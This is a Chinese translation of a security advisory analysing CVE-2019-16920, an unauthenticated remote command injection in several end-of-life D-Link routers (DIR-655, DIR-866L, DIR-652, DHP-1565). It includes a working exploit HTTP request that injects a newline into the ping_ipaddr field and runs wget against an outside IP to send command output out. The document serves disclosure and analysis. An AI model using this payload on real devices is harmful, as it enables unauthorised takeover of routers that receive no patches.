分析多款D-Link路由器中的未授权RCE漏洞

阅读量    80965 |   稿费 110

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

0x00 前言

2019年9月,Fortinet的FortiGuard Labs发现并向官方反馈了D-Link产品中存在的一个未授权命令注入漏洞(FG-VD-19-117/CVE-2019-16920),成功利用该漏洞后,攻击者可以在设备上实现远程代码执行(RCE)。由于攻击者无需通过身份认证就能远程触发该漏洞,因此我们将该漏洞标记为高危级别漏洞。

根据我们的测试,搭载最新版固件的如下D-Link产品存在该漏洞:

  • DIR-655
  • DIR-866L
  • DIR-652
  • DHP-1565

在本文撰写时,这些产品已超出产品支持生命周期(EOL),这意味着厂商不会再为我们发现的问题提供补丁。FortiGuard Labs在此感谢厂商的快速响应,建议用户尽快升级到新的设备。

 

0x01 漏洞细节

设备首先是没有采用正确的身份认证流程,这也是漏洞利用的基础。为了分析该漏洞,我们可以打开路由器管理页面(使用admin用户名),然后尝试登录。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384

登录操作由/apply_sec.cgi URI负责处理。快速搜索后,我们发现apply_sec.cgi代码位于/www/cgi/ssi程序的do_ssc函数中(0x40a210)。

current_useruser_username的值来自于nvram

图1. do_ssc代码片段

该函数随后会将current_user的值与acStack160变量作比较。

只有用户成功登录后,设备才会设置nvram中的current_user值,因此默认情况下,这个值并没有被初始化。acStack160的值为base64encode(user_username)的返回值,默认情况下user_username的值为user,因此iVar2的值不等于0,设备不会返回error.asp页面。

图2. do_ssc代码片段

do-while循环代码中,设备会调用put_querystring_env()函数来解析HTTP POST请求,将相应值保存到ENV中。接下来,该函数会调用query_vars(“action”, acStack288, 0x80)

图3. query_vars函数代码片段

该函数会提供action对应的值,保存到ENV中的acStack288变量。如果执行成功,该函数会返回0

iVar2等于0时,代码进入if条件分支,将URI值与/apply_sec.cgi作比较。如果满足条件,则ppcVar3指向SSC_SEC_OBJS数组,否则指向的是SSC_OBJS数组。

图4. do_ssc代码片段

现在ppcVar3指向的是SSC_SEC_OBJS数组,该数组包含一系列action值。如果我们输入不在该列表中的一个值,程序会返回LAB_0040a458,输出“No OBJS for action: <action input>”错误信息。

图5. do_ssc中的错误信息

我们可以在图2中看到错误的身份认证过程。即使我们没通过认证,代码仍会继续执行,这意味着我们可以通过/apply_sec.cgi路径,执行SSC_SEC_OBJS中的任意action操作。

那么SSC_SEC_OBJS action数组的具体位置在哪?该数组位于init_plugin()函数的register中:

图6. init_plugin代码片段

如果我们跳转到0x0051d89c地址处,将这些变量值转换为word类型,可以看到如下数组:

图7. 0x0051d89C地址

其中有一个action引起了我们的注意:

图8. ping_test字符串以及对应的action地址

找到sub_41A010,该函数从ping_ipaddr参数中提取输入值,通过inet_aton()inet_ntoa()函数进行转换,然后执行ping操作。

图9. sub_41A010代码片段

如果尝试输入特殊字符(比如双引号、单引号、分号等),ping操作会执行失败。幸运的是,如果我们传入换行符(比如8.8.8.8%0als),就可以实现命令注入攻击效果。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

这里我们向apply_sec.cgi发起POST HTTP请求,执行的actionping_test,然后通过ping_ipaddr参数实现命令注入。虽然路由器返回的是登录页面,但ping_test操作实际上已经成功执行:ping_ipaddr参数值可以在路由器上执行echo 1234命令,然后将结果返回给我们的服务器。

图10. 成功利用漏洞

此时,攻击者可以获取管理员密码,或者将自己的后门安装到目标设备中。

 

0x02 时间线

2019年9月22日:FortiGuard实验室向D-Link报告该漏洞。

2019年9月23日:D-Link确认该漏洞

2019年9月25日:D-Link确认这些产品已超出服务周期(EOL)

2019年10月3日:我们公布漏洞细节并发布安全公告

 

0x03 总结

该漏洞的根源在于设备没有对原生系统所执行的命令进行检查,这也是许多固件厂商经常存在的一种安全隐患。

有多款D-Link设备受该漏洞影响(CVE-2019-16920),FortiGuard Labs将该漏洞标注为高危等级漏洞。根据厂商描述,这些设备已超出服务周期(EOL),因此我们建议D-Link用户应当立即升级到最新产品。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多